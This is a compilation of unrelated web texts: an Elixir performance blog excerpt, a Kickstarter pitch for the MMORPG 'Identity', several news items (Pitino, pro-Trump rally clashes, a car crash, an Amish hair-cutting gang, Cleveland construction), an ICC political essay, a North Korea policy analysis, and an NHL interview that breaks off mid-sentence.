and reliability in mind (it was developed for use in telecom systems). Originally a proprietary language at Ericsson for a little over 10 years, it was open-sourced in 1998. Elixir builds on this very mature ecosystem, and makes it accessible enough for “mere mortals” to build high-performance applications.  When I first tried Elixir out to build a web app, like you would with Rails, I was pretty surprised. If you’re used to Rails, you’ve seen this log message:  This is the Elixir / Phoenix framework equivalent:  170ms down to 5ms. And that’s in development mode. Switch it to production mode, and this is what you see:  5ms down to 300 microseconds.  Granted, this is a very simple page. It’s basically a “Hello World” benchmark, but it certainly piqued my interest. This amount of performance, coupled with the ability to maintain it even under immense load, is one of the factors going in to my choice of Elixir.  The other factor is, what I believe, the direction of the Internet. We’re moving away from servers rendering static HTML and sending that over the wire, and to more dynamic content powered by client-side JavaScript or native code on mobile devices. Elixir and Erlang handle this beautifully — dutifully keeping thousands and thousands of open WebSocket sessions alive without breaking a sweat. You should take a look at how Whatsapp uses one machine running their chat backend on Erlang to service more than 2 million simultaneous connections.  By investing my time now in Elixir and Erlang, I believe that I’m essentially getting ready for the next 20 years of the Internet. And I’m excited.  Share this: Email  Facebook  Twitter  Pocket  Telegram  Reddit
-Note that, as a backer, your credit card will only be billed if/when Identity reaches its Kickstarter campaign goal.  Identity is a modern-day open-world MMORPG for PC and Mac with complete freedom to do almost anything you can imagine at any time in first or third person views. Live as an honest civilian, a criminal, police officer, paramedic and many more. There are no levels or skill grinding, but talent and perk progression so that it’s the actions of you, not your character, which matter most.  An enormous online and persistent world controlled in almost every aspect by the players living within it.  Player-driven gameplay and economy with dozens of jobs and epic careers.  Action and fun around every corner with a player police force, gangs, cartels, businesses and more.  More casual games than we can list, from karaoke and cinemas to paintball matches and more.  Play on the official servers or host your own with your own rules and options.  No subscription fees and never pay-to-win.  Identity has been under development by only a few people and only for a few months. In that time we've gone far and done things that have never been seen in a video game before; Identity is already revolutionary, and we're excited to see how far we can take the technology and gameplay when we have the support of you as a backer!  While Identity is a very ambitious project, it's right up John's alley in terms of systems and design. Two of John's past and current game projects, Mortal Online and Altis Life, together have already overcome many of the technical hurdles Identity's development faces.  Mortal Online was the first MMORPG created on the Unreal Engine and Identity's Unreal Engine 4 is ten years further developed still. Asylum's Altis Life is the most popular game and server-set of its kind in the world, and acts as the inspiration for Identity.  For years now, MMORPGs have lost their way. What was once a genre about exploring and living in a new world has now become a treadmill to keep you playing the same game over and over again. Identity is changing things.  Gone are all artificial restrictions keeping you away from the content you want to play! Instead of levels and character skills dictating what you can do, Identity focuses on your actions and building a character around what you find fun. Jump into the world and start making a name for yourself in any way you choose.  As a citizen you can start a business, join gangs and control territory, own real estate or even become governor and set your own laws. With minimal AI, it’s you players who control every aspect of society including law enforcement.  While a game with fun being the top priority, many elements like weapons, health and vehicles function with exceptionally high realism and fidelity.  Identity is all about fun, freedom, social interaction and so much to do that you’re never left bored.  It's still early for Identity, but we have quite a bit to talk about already and we'll be giving more details on new epic features regularly!  A massive, dynamic world  The world in Identity is huge with all sorts of landscapes from large busy cities to small rural towns, farms, forests and more. Set in a fictional region of the United States, you'll find enough variety that there's almost always something new to see.  The environment will be changing often as gangs capture territories, real estate is bought up and crops are grown.  VOIP communication  Why are other MMORPGs still using old technologies? While the option to communicate by text will always be there, Identity brings voice-over-IP (Internet) technology to the forefront, allowing you to speak as your character. Anything you say will come from your character in the game world, complete with moving mouth and lips.  That's only the beginning, too! With this you'll find working telephones, radios, megaphones, microphones and more. Communication should be fun!  Vehicles and transportation  With such a huge world to live in, you'll need all sorts of vehicles to get around quickly and safely!  Vehicles range from common and inexpensive, such as a bicycle, to supercars and luxury yachts for those of you building your empires.  All vehicles are being made with painstakingly realistic physics and high fidelity.  Many vehicles can be considered an investment, too! A large transport truck can earn its value back by running goods, so long as you don't run into bandits. Most vehicles have trunk space to fill up with equipment, resources, drugs, and so on.  Guns and other weapons  Like vehicles, weapons in Identity are made to feel and function as close to their real-world counterparts as possible, as is the damage they deal!  Firearms aren't easy to come by as a civilian and high-powered rifles are incredibly rare as they require you meet an arms dealer who knows their stuff.  Weapons aren't limited to guns, either. You'll find knives, bats, or even boxing gloves!  Own a piece of the world  Every home in the world can be purchased by a player, and apartment buildings can house hundreds of people. A house in the world is unique, and can only have one owner at any given time, while an apartment is always available to those with the cash! Houses and apartments can range from a small studio to a massive penthouse.  New homes are empty and it's up to you to fill it with furniture from stores or crafted by players. Furniture includes useful tools like a television or computer, or something to add a little flair for the party you plan on throwing.  Designers can create furniture in thousands of style combinations making something suited to tastes, or even paint on a canvas to sell or hang on your walls.  Do you want a job or do you want a career?  You'll find dozens of jobs as you travel the land. There's never a shortage of work for those willing to put in the effort! Unlike a career, jobs are small tasks that can be completed to earn some cash and they're always available (but not always legal). Examples of jobs include harvesting, fishing, hunting, and so on.  Careers are much more in-depth. Work as a police officer, a firefighter, a freight runner and more. Each career has its own character progression branches and often ranking and specialities as well.  For example, imagine a group of friends has just robbed a small store in your town and they got away before police arrived. As a cop who made it to the detective ranks, it could be up to you to find fingerprints or other evidence.  We all have to make a living, somehow  With risk, comes reward. If you can manage to pull off a heist and get away with it, you could find yourself with a lot of quick cash. The problem with crime is that there are those who want to keep the streets clean. Once you're wanted, it might be a matter of time before you find yourself behind bars!  The skilled might also find some easy money at the casino or by playing the lottery.  Frequent micro updates  Because Identity is an MMORPG, albeit not much like any other, we're going to be continuously updating the game with new content and features years after release.  Since our focus is on improving the game and not making money off big expansions, we're instead going to be releasing updates at a very fast and steady pace. You'll be getting new toys and fixes nearly every single week so that you've always got something new to look forward to!  We can't do this without you. Every backer brings us closer to not only making Identity a reality in the near future, but to expand beyond our current scope and make something awesome even better. But, we can't do this without you!
-The latest entry in the journal of Bloggin' Rick Pitino came Thursday morning when he penned a 2015-16 preview of his team on RickPitino.net.  As you might have expected, before Pitino got into talking about his individual players, he had a message for the U of L fan base.  To our loyal fans, First, above all, I'm sorry we all have to endure the pain of these allegations. I so appreciate your support and friendships. I will not resign and let you down. Someday I will walk away in celebration of many memorable years but that time is not now. I do not fight these accusations by others but rather turn the other cheek. Couldn't do it at 33, but at 63 it's the wise thing to do. Let's let the investigators do their job and we will play basketball. I am really excited with our ball team. Their attitude and willingness to learn is the best I've witnessed as a coach. We have the potential to be a very explosive offensive team. We must defend like past years. That will come when they come together as a unit.  Pitino then got into talking a little bit about his individual players, reserving a pair of exclamation points for Deng Adel, who Pitino says "probably will start at the wing."  You can read the entire post from Pitino right here.
-Supporters of President Donald Trump are calling on authorities to investigate violence against them under state civil rights laws, after clashes erupted over the weekend at pro-Trump rallies in Hollywood and Huntington Beach.  “They threw bottles at us,” Matthew Woods, a Hollywood protest organizer, said Thursday. “We were surprised at the violence directed against us … and we’re not going to take it anymore.”  Woods claimed some of the Trump supporters were victims of hate crimes when they were confronted by angry counter-protesters Saturday on Hollywood Boulevard and at Bolsa Chica State Beach in Huntington Beach.  The rallies coincided with a series of nationwide “Make America Great Again” — or MAGA — marches in support of the Trump administration.  But the California events turned ugly.  In Orange County, what was dubbed as a family friendly gathering, devolved into a violent brawl between marchers and counter-protesters for about 30 minutes.  • RELATED STORY: Fight breaks out at Pro-Trump Hollywood MAGA rally; 2 arrested  Videos have since surfaced of angry counter-protesters punching and cursing at marchers, leaving those who were assaulted asking why police didn’t step in to stop to the violence.  Authorities charged three males with felony illegal use of pepper spray and one woman with misdemeanor assault and battery.  Meanwhile in Hollywood, as Trump supporters marched from the Pantages Theatre to the president’s star on the Walk of Fame, they were met by counter-protesters shouting anti-Trump expletives. The event never fully descended into chaos, but it had its moments, including a fist fight that broke out on the sidewalk when a man grabbed a Trump supporter’s hat. Woods said someone also spat on a woman during the march.  Los Angeles police officers on bicycles detained two men for possible assault after the fist fight. It was unclear if they were charged.  Ahead of a news conference Thursday in Hollywood, Woods called on the district attorneys in Orange and Los Angeles counties to enforce the Ralph Civil Rights Act and the Bane Civil Rights Act, which “protects people from continued violence or the threat of violence based on grounds such as race, color, religion, ancestry, national origin, political affiliation, sex, sexual orientation, age, disability or position in a labor dispute,” according to state law.  • RELATED STORY: Trump march in Huntington Beach turned into 30-minute violent brawl with ‘a lot of people punching’  The Los Angeles Police Department defines a hate crime as “any criminal act or attempted criminal act directed against a person or persons based on the victim’s actual or perceived race, nationality, religion, sexual orientation, disability or gender.”  Woods praised the LAPD for preventing the Hollywood march from getting out of control.  While he welcomed the debate in a nation divided under Trump’s presidency, he said some counter-protesters went too far, and the Trump supporters were victims.  “Anyone can be subject to a hate crime,” he said.
-A North Park resident backed her Mustang into a neighbor’s apartment building Sunday Morning, San Diego Police said.  The incident occurred shortly before 9 a.m. Sunday at an apartment complex on Texas Street.  San Diego Police said the woman may have accidentally hit the gas instead of the brake.  The vehicle broke through the living room of Benjamin Bulanadi, the man living in the apartment. Bulanadi was not home when the incident occurred.  “Luckily I stayed over at a friend’s house last night,” Bulanadi said. “It was pretty intense to come home to that.”  Bulanadi said if he was in his living room, he could have been hit by his dresser or TV.  Bulanadi rents the apartment through Airbnb. The owner was on the scene Sunday morning and exchanged information with the Mustang driver. Bulanadi is looking for another place to stay.
-Facebook, the online networking system mammoth is considering another element which will permit users to acquire cash from posts and would give them a chance to include a ‘‘tip-jar ‘.  A survey by an FB user, implied at different ways whereby cash might be made by users even a cause can be advanced on the site, when they included ‘tip-jar ‘content. After this, they can take commission from the promotion income that is earned by Facebook from the post.  This survey likewise approached users for showing interest about call to action’ button, catch, a simple strategy by which adherents will make donations and create ‘sponsors market place’for coordinating the users with advertiser, included the report.  In any case, it’s not by any means clear with respect to whether this element will be taken off to all or any users or and afterward confirmed ones. As of now, promotions might be sold just by distributors, inside the component of ‘Moment Articles’and recently, Facebook cleared up tenets that empower posts which can be sponsored by brands for sharing on confirmed pages.  Advertisements are progressively being tried by Facebook, inside recommendations which appear after video is viewed by users, imparting cash to distributers.  A representative from Facebook expressed “|It’s still early, yet we’re centered on making reasonable, long haul adaptation models for the accomplices and we’re listening to input,”
-For a few years now, certain anarchist individuals or groups and the ICC have overcome a number of barriers by daring to discuss in an open and fraternal way. Mutual indifference or rejection between anarchism and marxism have given way to a will to discuss, to understand the positions of the other, and to honestly define points of agreement and disagreement.  In Mexico, this new spirit made it possible for a joint leaflet to be signed by two anarchist groups (GSL and PAM[1]) and an organisation of the communist left, the ICC. In France, recently, the CNT-AIT in Toulouse invited the ICC to make a presentation at one of its public meetings[2]. In Germany as well links are being made.  On the basis of this dynamic, the ICC has begun working seriously on the history of internationalism in the anarchist movement. During the course of 2009 we published a series of articles under the heading ‘Anarchists and imperialist war' [3]. Our aim was to show that with each imperialist conflict, part of the anarchists was able to avoid the trap of nationalism and defend proletarian internationalism. We showed that these comrades continued to work for the revolution and for the world working class despite being surrounded by chauvinism and the barbarity of war.  When you know the importance that the ICC attaches to internationalism, which is a real frontier separating revolutionaries who genuinely fight for the emancipation of humanity from those who have betrayed the proletarian struggle, these articles were not only an intransigent critique of the pro-war anarchists but also and above all a salute to the internationalist anarchists!  However, our intentions were not always well perceived. For a while this series met with a frosty reception in some quarters. On the one hand, some anarchists saw the articles as an outright attack on their movement. On the other hand, some sympathisers of the communist left and of the ICC did not understand our efforts to find a "rapprochement with the anarchists"[4].  Aside from certain errors in our articles which may have irritated some people[5], these apparently contradictory criticisms actually share the same roots. They reveal the difficulties in seeing the essential elements which bring revolutionaries together, above and beyond their disagreements.  Going beyond labels  Those who identify with the struggle for the revolution have traditionally been classed in two categories: the marxists and the anarchists. And there are indeed important divergences between them:  - Centralism/federalism  - Materialism/idealism  - Period of transition or ‘immediate abolition of the state'  - Recognition or denunciation of the October 1917 revolution and of the Bolshevik party  All these questions are certainly very important. It is our responsibility not to avoid them, and to debate them openly. But still, for the ICC, they do not demarcate "two camps". Concretely, our organisation, which is marxist, considers that it is fighting for the proletariat on the same side as the internationalist anarchist militants and against the ‘Communist' and Maoist parties which also claim to be marxist. Why?  Within capitalist society, there are two basic camps: the camp of the bourgeoisie and the camp of the working class. We denounce and combat all the political organisations which belong to the former. We discuss, often in a sharp but always a fraternal manner, and seek to cooperate with, all the members of the second. But under the same label of ‘marxist' there are genuinely bourgeois and reactionary organisations. The same goes for the ‘anarchist' label.  This is not just rhetoric. History is full of examples of ‘marxist' or ‘anarchist' organisations who have claimed with hand on heart to be defending the proletariat, while in reality stabbing it in the back. German social democracy called itself ‘marxist' in 1919 when it was assassinating Rosa Luxemburg, Karl Liebknecht and thousands of workers. The Stalinist parties bloodily crushed the workers' uprisings in East Germany in 1953 and Hungary in 1956 in the name of ‘communism' and ‘marxism'(in fact, in the interests of the imperialist bloc led by the USSR). In Spain, in 1937, the leaders of the CNT, by participating in the government, served as a cover for the Stalinist murderers who repressed and massacred thousands of ...anarchist revolutionaries. Today, in France for example, the same name ‘CNT' covers two anarchist organisations, one which defends authentically revolutionary positions (CNT-AIT) and another which is purely ‘reformist' and reactionary (the CNT ‘Vignoles')[6].  Identifying the false friends who hide behind labels is thus a vital task.  But we should not fall into the opposite trap and believe that we are alone in the world, the exclusive holders of ‘revolutionary truth'. Communist militants are still very thin on the ground today and there is nothing more harmful than isolation. We therefore have to fight against the tendency to stand up for your own ‘chapel', your own ‘family' (whether marxist or anarchist), against the shop-keeper's spirit which has nothing to do with the politics of the working class. Revolutionaries are not in competition with each other. Divergences, disagreements, however profound they may be, are a source of enrichment for class consciousness when they are discussed openly and sincerely. Creating links and debating on an international scale are absolute necessities.  But for this to happen, we have to know how to distinguish between revolutionaries (who defend the perspective of the overthrow of capitalism by the proletariat) and reactionaries (those who, in one way or another, help to perpetuate this system), without fixating on the label of ‘marxist' or ‘anarchist'.  What unites marxists and internationalist anarchists  For the ICC, there are fundamental criteria which distinguish bourgeois from proletarian organisations.  Supporting the combat of the working class against capitalism means both fighting exploitation in an immediate way (during strikes for example) while never losing sight of what's at stake in this struggle on the historical level: the overthrow of this system of exploitation by revolution. To do this, an organisation must never give its support, even in a ‘critical' or ‘tactical' way, or in the name of the 'lesser evil', to a sector of the bourgeoisie - whether the ‘democratic' bourgeoisie against the ‘fascist' bourgeoisie, or the left against the right, or the Palestinian bourgeoisie against the Israeli bourgeoisie, etc. Such an approach has two concrete implications:  1. Rejecting any electoral support or cooperation with parties which manage the capitalist system or defend this or that form of this system (social democracy, Stalinism, ‘Chavismo', etc)  2. Above all, during any war, it means maintaining an intransigent internationalism, refusing to choose between this or that imperialist camp. During the First World War as during all the imperialist wars of the 20th century, all those organisations who supported any of the warring camps abandoned the terrain of internationalism, betrayed the working class and were definitively integrated into the camp of the bourgeoisie[7].  These criteria, outlined here very briefly, explain why the ICC sees certain anarchists as comrades in the struggle, why it wants to discuss and cooperate with them while virulently denouncing other anarchist organisations. For example, we have cooperated with the KRAS (the section of the anarcho-syndicalist International Workers' Association in Russia), by publishing and welcoming its internationalist declarations on war, notably the war in Chechnya. The ICC considers that these anarchists, despite our differences with them, are an authentic part of the proletarian camp. They clearly demarcate themselves from all the anarchists and ‘Communists' (like the Communist parties, the Maoists or Trotskyists) who defend internationalism in theory but oppose it in practice by defending one belligerent against the other in imperialist wars. We should not forget that in 1914, when the First World War broke out, and in 1917, when the Russian revolution took place, the majority of the ‘marxists' of social democracy took the side of the bourgeoisie against the proletariat, whereas the Spanish CNT denounced the imperialist war and supported the revolution. During the revolutionary movements of the day, anarchists and marxists worked sincerely for the proletarian cause, and despite their disagreements found themselves on the same side. There were even efforts to develop an organised and wide scale cooperation between the revolutionary marxists (Bolsheviks in Russia, Spartacists in Germany, Dutch Tribunists, Italian abstentionists etc) who had separated from the degenerating 2nd International, and a number of internationalist anarchist groups. An example of this process is the fact that an organisation like the CNT envisaged the possibility of joining the Third International, although it rejected this in the end[8].  To cite a more recent example, in many parts of the world today there are anarchist groups and sections of the IWA who not only maintain an internationalist position but who also fight for the autonomy of the proletariat against all the ideologies and currents of the bourgeoisie:  - these anarchists call for direct and massive class struggle and self-organisation in general assemblies and workers' councils;  - they reject any participation in the electoral masquerade and any support for political parties who take part in this masquerade, however radical they claim to be.  In other words, they stick to one of the main principles of the First International: "the emancipation of the workers is the task of the workers themselves". Those comrades are part of the struggle for the revolution and a world human community.  The ICC belongs to the same camp as these internationalist anarchists who really defend working class autonomy. Yes, we consider them as comrades with whom we want to debate and cooperate. Yes, we also think that these anarchist militants have more in common with the communist left than with those who, under the label of anarchism, actually defend nationalist and reformist positions and are thus really defenders of capitalism.  In the debate which is slowly developing between all the revolutionary groups and elements on the planet, there will inevitably be mistakes, animated debates, clumsy formulations, misunderstandings and real disagreements. But the needs of the proletarian struggle against a capitalism which is becoming increasingly unbearable and barbaric, the indispensable perspective of the world proletarian revolution, a precondition for the survival of humanity, make this a vital and necessary effort, a duty in fact. And today, when we are seeing the emergence of revolutionary proletarian minorities in many countries, who refer either to marxism or anarchism (or who are open to both), this duty to discuss and cooperate should meet with a determined and enthusiastic response.  Future articles in this series will deal with our difficulties in debating and the way to overcome them. We will also look in more detail at the Anarchist Federation in Britain, which we have mistakenly labelled as a leftist group in the past.  ICC 30/6/10  [1] GSL: Grupo Socialista Libertario (http://webgsl.wordpress.com); PAM: Proyecto Anarquista Metropolitano (http://proyectoanarquistametropolitano.blogspot.com)  [2] There was a very warm atmosphere throughout this meeting. Read the report on it written on website: ‘Réunion CNT-AIT de Toulouse du 15 avril 2010: vers la constitution d'un creuset de réflexion dans le milieu internationaliste'  [3] See ‘Anarchism and imperialist war', World Revolution numbers 325-328. All available online, beginning here: https://en.internationalism.org/2009/wr/325/anarchism-war1  [4] In particular, some comrades were initially uneasy about the joint GSI/PAM/ICC leaflet. We tried to explain our approach in a Spanish article entitled ‘What is our attitude towards comrades who are part of the anarchist tradition?' (https://es.internationalism.org/node/2715)  [5] Some anarchist comrades rightly pointed out certain imprecise formulations and even historical errors in these articles. We will return to this. However, we do want to rectify the most glaring errors here:  - On various occasions, the series ‘Anarchism and imperialist war' asserts that the majority of the anarchist movement fell into nationalism during the First World War while only a handful of individuals risked their lives to defend internationalist positions. The historical elements brought to the discussion by members of the IWA, and confirmed by our own researches, show that in reality a large number of the anarchists opposed the war from 1914 onwards (sometimes in the name of internationalism or anationalism, or under the banner of pacifism)  - The most embarrassing mistake (which up till now no-one has pointed out) concerns the Barcelona uprising in May 1937. We wrote in WR 326 that "When the workers of Barcelona rose up in May 1937, the CNT were complicit in the repression by the Popular Front and the government of Catalonia" - the French version used "anarchists" instead of the CNT, but the ambiguity remains in the English version, since in reality, it was the militants of the CNT or the FAI who made up the majority of the insurgent workers in Barcelona and were the principal victim of the repression organised by the Stalinist hordes. It would have been much more accurate to denounce the collaboration in this massacre of the CNT leadership rather than the "the anarchists". This in any case is the real content of our position on the war in Spain, as defended in particular in the article ‘Lessons of the events in Spain' in no. 36 of the review Bilan (November 1936)  [6] Vignoles is the name of the street where their main HQ is located. ‘AIT' stands for Association Internationale des Travailleurs - in English the International Workers' Association  [7] However, there were groups and elements who were able to break away from organisations which had gone over to the bourgeoisie, for example the Munis group or the group which gave rise to Socialisme ou Barbarie in the Trotskyist Fourth International  [8] See ‘History of the CNT (1914-19): The CNT faced with war and revolution', International Review 129, https://en.internationalism.org/ir/129/CNT-1914-1919
-More on: North Korea  North Korea has been relatively straightforward in revealing both its aspirations and perceived constraints as it tries to improve its economy while strengthening its nuclear “deterrent” through its dual policy (the byungjin line), announced by Kim Jong Un at a Korean Workers’ Party meeting in March 2013. The policy prioritizes the nuclear and munitions industrial sector; the electric power, coal, metal and railway transport sectors; and new applications of science and technology, while also rejecting that it must make a “strategic choice” for denuclearization as a primary means of survival, as the Obama administration has insisted. Thus, North Korea’s welcome emphasis on improving its economy could also be a “breakout” strategy by which North Korean leaders may believe they can survive as a nuclear weapons state.  If we look at the means by which North Korea intends to pursue its economic strategy, it appears that there are focused efforts to enhance effectiveness of economic management, including possible steps toward reform. In fact, North Korean decisions to widely cover a foreign academic seminar on special economic zones organized by the University of British Columbia and held in Pyongyang in October 2013 in the state newspaper Rodong Shinmun suggest that North Korea is actively seeking foreign investment, and entering a reform-oriented phase not different from the one pursued in the early 2000s.  First, Kim Jong Un has called for “socialist enterprise management methods in which all enterprises carry out their management activities independently with initiative.” This statement is intriguing because it could suggest a step away from central planning and a devolution of decision-making authority to the firm level. However, this directive may simply be a reflection of the central government’s already limited capacity to effectively implement central planning and guidance to individual firms.  Second, North Korea seeks diversification of foreign trade as a means by which to “smash the sanctions and blockade maneuvers of hostile forces and open an advantageous phase in the construction of an economically powerful state.” This statement suggests that North Korea’s renewed push to attract foreign investment is not only a priority of the leadership, but also that the leadership believes increased international economic activity would provide a safety valve against pressure from sanctions. The relative success or failure of North Korean efforts to attract foreign capital despite sanctions may prove to be a decisive factor that will influence both North Korea’s economic prospects and its ability to avoid international pressure on denuclearization.  Third, North Korea is pursuing the promotion of tourism and economic development zones in all provinces. The opening to tourism suggests that the North Korean leadership perceives this sector as a proven means by which to earn foreign capital for state purposes at relatively minimal risk to political control within North Korea. Similarly, North Korea may believe on the basis of its experience at the Kaesong Industrial Zone and elsewhere that it can use the zones as a means by which to earn foreign currency while controlling the effect of outside influences on the local populations. But the location and focus of these zones suggests a potentially greater seriousness of purpose and desire to more effectively utilize special economic zones as an instrument by which to enhance productivity of the economy.  These decisions make it clear that the North Korean government primarily places importance on pursuing pathways to prosperity that avoid loss of political control and that do not involve denuclearization. The pursuit of this “dual progress” policy constitutes a primary obstacle to the international community working toward North Korea’s denuclearization. The policy will test the ability of China and the United States/ROK to coordinate not only political strategies but also economic strategies toward Pyongyang. Moreover, the commitment of North Korea to this policy directly calls into question the sincerity of Vice Minister Kim Kye-gwan’s calls for restarting the Six Party Talks last September in Beijing. Given the commitment of the Korean Workers’ Party to simultaneous nuclear and economic development, North Korean leaders will need to deliver a more authoritative statement of willingness to pursue denuclearization (backed by accompanying actions) as a prerequisite for the resumption of Six Party Talks.
-A GROUP of Amish men is being investigated for allegedly breaking into Ohio family homes and chopping their victims' hair and beards off, The Wheeling Intelligencer reports.  The Amish hair-cutting gang is being investigated by four different sheriff departments in Ohio. They face charges of burglary and felonious assault.  The group refers to itself as part of the Bergholz clan, a nearby Amish community led by bishop Sam Mullet, which was the subject of a disputed child custody raid in 2007 amid allegations of sexual abuse.  The spate of attacks began around three weeks ago and targeted other Amish community members, the newspaper said.  One of the victims in Holmes County described how the gang of between 20 to 30 men dragged him from his house by his beard. Others said they were accosted inside their homes before their hair was cut off.  Holmes County sheriff Timothy Zimmerly told reporters the victims also included a 13-year-old girl and a 74-year-old man.  The gang's alleged getaway vehicle - a truck and horse trailer - was searched for evidence by police in Jefferson County.  Clumps of hair from the victims were sent to the sheriff's office for analysis.  Originally published as Police hunt Amish hair-cutting gang
-From renderings to reality, changes are coming to Cleveland's skyline.  Billions of dollars are being spent on construction in the city ahead of the Republican National Convention this summer.  But the upgrades, renovations and development projects won't end when the convention leaves town.  Here's a look at some of the projections that may change Cleveland in the next four years:  Case Western Reserve University and Cleveland Clinic Health Education Campus  What: The 485,000 square-foot building will house students from Case Western Reserve's schools of medicine, dental medicine and nursing.  Location: East 93rd Street between Euclid and Chester Avenues  Timeline: Completion expected in summer 2019  Rendering of Health Education Campus  Hilton Cleveland Downtown  What: The hotel will feature a 28-story tower with 600 guest rooms.  Location: 100 Lakeside Avenue East, Cleveland, Ohio  Timeline: The hotel will start accepting reservations for arrival on June 15, 2016.  RELATED: Hilton breaks ground for Convention Center hotel  Hilton Cleveland Donwtown rendering  Huntington Bank Building  What: Renovation ideas include a high-end hotel, apartments, office space and rooftop restaurant and bar.  Sign up for the daily Top 3 Newsletter Thank you Something went wrong. This email will be delivered to your inbox once a day in the morning. Thank you for signing up for The Top 3 Newsletter Please try again later.  Submit  Where: 905 Euclid Avenue, Cleveland, Ohio  Timeline: Renovation completion expected in 2018  RELATED: Big plans for one of Cleveland's most historic buildings  Huntington Bank Building  Nautica Waterfront District  What: Changes include an additional 664 residential units, a 150-room hotel, a 15-story office building and 3,175 new parking spaces.  Location: 2014 Sycamore Street, Cleveland, Ohio  Timeline: The project has a seven-year development plan. It's set to break ground in 2018.  RELATED: Major expansion announced for Cleveland's Nautica waterfront  Nautica rendering.  NuCLEus  What: A $300 million project that includes a 30-story office tower, parking garage, 500 apartments, shopping and restaurants.  Location: 501 High Avenue, Cleveland, Ohio  Timeline: Completion expected early 2017  RELATED: New nuCLEus Project would change Cleveland's skyline  Jan. 9, 2015: Image rendering of the nuCLEus project in downtown Cleveland. The project will be at E. 4th, Prospect and Huron with a 30-story office tower, retail space, residential units, parking and more. It could be complete by 2017.  515 Euclid  What: The project will add approximately 200 apartments above an existing parking garage and retail space.  Location: 515 Euclid Avenue, Cleveland, Ohio  515 Euclid  Public Square  What: A $50 million project to increase the square's green space, close it to traffic except for buses and open a cafe at the site.  Location: Near 91 Public Square, Cleveland, Ohio  Timeline: Completion expected on June 1, 2016  RELATED: Public Square renovation progress one year later  PHOTOS | Public Square renovation renderings  Terminal Tower  What: Plans include turning the building's lower floors into 300 apartments.  Location: 50 Public Square, Cleveland, Ohio  Timeline: Construction could begin as early as 2018  RELATED: Company plans apartments in Terminal Tower  Terminal Tower  Restaurant Additions  Jimmy Buffett’s Margaritaville  Location: Front Avenue across from Punch Bowl Social  Timeline: Set to open in late 2016  RELATED: Jimmy Buffett's Margaritaville coming to Cleveland's Flats  Nuevo Modern Mexican Restaurant & Tequila Bar  Location: East 9th Street Pier, Cleveland, Ohio  Timeline: Expected to open in July 2016  RELATED: Cleveland Rising: Lakefront development begins  Rascal Flatts Restaurant  Location: Flats East Bank, between Crop's On Air Studio and Beerhead Bar & Eatery  Timeline: Expected to open in 2016  RELATED: Rascal Flatts opening restaurant/bar in Cleveland's Flats  MOBILE USERS: Click here for locations on map
-NHL.com's Q&A feature called "Five Questions With …" runs every Tuesday. We talk to key figures in the game and ask them questions to gain insight into their lives, careers and the latest news.  NEW YORK -- Ryan McDonagh's minutes are up this season, and both he and the New York Rangers are thriving because of it.  McDonagh is 12th in the NHL with an average ice time of 24:36 per game, up from 22:21 last season. He is second in the League with eight assists, including at least one in a career-high seven consecutive games, the longest streak for a Rangers defenseman since Brian Leetch 20 years ago.  McDonagh has played 23 or more minutes in seven of the Rangers' nine games (77.8 percent), with New York going 5-2-0 in those games. He played 23 or more minutes 38 of 73 games last season (52.0 percent).  "I've loved it so far," McDonagh said. "Any time you get those high-minute games the plays just happen a lot quicker for you. You see the ice continually throughout the game. Your rhythm stays there the whole game. That responsibility you have playing in a lot of situations, you want to step up for your teammates and be a big part of hopefully a win. I've played a lot here these first few games and the body is feeling really good, and the mind is right there with it."  It helps that the Rangers have been one of the NHL's better possession teams this season. They are third in the League in shots on goal (31.8) and have allowed the fourth-fewest shots per game (26.0). They are 13th in even-strength shot-attempts percentage (50.95).  "We're not spending as much time in our zone so hopefully that can continue because those are the minutes that really drag on you, when you're defending hard," McDonagh said. "If that continues I don't see why those minutes will be a problem."  McDonagh would love to keep playing big minutes, more than 25 per game if possible. That would seem to benefit the Rangers too considering they are 22-1-2 in games when he has played 25 or more minutes since Oct. 16, 2014. They are 2-1-0 in such games this season.  However, Rangers coach Alain Vigneault isn't enamored with the idea of McDonagh playing 25 minutes per game. It's fair to wonder how much longer he'll average more than 24 minutes per game. He hasn't gone over 23:29 in the past four games.  "I know our record is real good when he plays 25 minutes or more, but I think if you look at the 82-game schedule, how condensed it is in certain areas, I think that's a lot of minutes for any defenseman in this league," Vigneault said. "So I'd probably prefer to keep him around that 23-, 24-minute area. But he's a guy that can log can tons of minutes. He's just a horse. He loves to play. He's a great skater. Guys that skate well can play a lot of minutes and he's one of those guys that can do that.  McDonagh spoke more about the Rangers' start to the season with NHL.com.  Here are Five Questions with … Ryan McDonagh:  You mentioned that after the first few games that one of the best things about the start to the season is how quickly the Rangers found their identity as a speed team. What has the benefit of that been through nine games now?  "We just know what's expected from each one of us, how you have to prepare in order to go out and execute in that fashion team-wise. We know the plays that are expected to be made and have to be made in order for us to play that style and give ourselves a good chance to win. It's nothing fancy. It's just a simple approach."  Do you think this team is better than it was last season as a result?  "I would say I guess yes because of the way this team has looked so far, the commitment we have both offensively with our speed and skill, and using that speed and skill defensively too. We're using it both ways. You see guys having good back pressure, backchecking really well, quick to contact in our zone and able to jump on loose pucks and get going right away. With all those things I think we have a better chance of winning right now.  "A lot of the time last year we were chasing the puck. I felt like we've had the puck a lot more this year. At times last year it felt like we were just chasing, couldn't sustain any offensive-zone pressure. They would make one or two plays and were out of our zone. Especially in the Pittsburgh series [Eastern Conference First Round] we weren't able to sustain pressure or put a lot of pucks on net. So far we've been getting a lot of offensive looks this season. Over the course of a season it takes a lot of work and preparation to make that happen, but hopefully over the course it creates a winning record."  Let's talk about a few players, starting with Brady Skjei. He got some time last season, including in the Stanley Cup Playoffs, but of late he's made some plays that stand out, including one against the Arizona Coyotes and another against the Tampa Bay Lightning that led directly to goals. What stands out to you about him?  "I think he's just making the right reads. His strength is his skating ability and obviously he knows that. He's a good skater. He can keep up in this league both forward and backward. When he has the puck on his stick he's making the right reads for when it's the right time to make a rush and create things or defensively when it's the time to step up and be aggressive and use his skating ability there. I think he's been real good in his reads in understanding when it's time to be patient and when it's time to be aggressive and make something happen. As a young player that's a fine line. You want to go out and make an impression and gain confidence. But I think as defenseman sometimes you have to wait for it a little longer than a forward would. It's not an easy league to break into as a defenseman. There are only six spots on most nights so the numbers are against you, and it's obviously very tough now with the rules and speed of the game. I like the fact that he's understanding what his strengths are early on in his career with us and finding the right time to utilize them."  Every time I watch Jimmy Vesey play I keep thinking he reminds me of Zach Parise and the way he plays. Is that a fair comparison?  "The biggest thing I've said anytime someone asks me about Jimmy is his strength on the puck. He's strong when he has it. It's tough to get it away from him, tough to push it off of him. One thing for sure with Zach, he's low to the ground, and Jimmy might be taller and bigger but he seems like he's lower to the ground and he plays like he's underneath 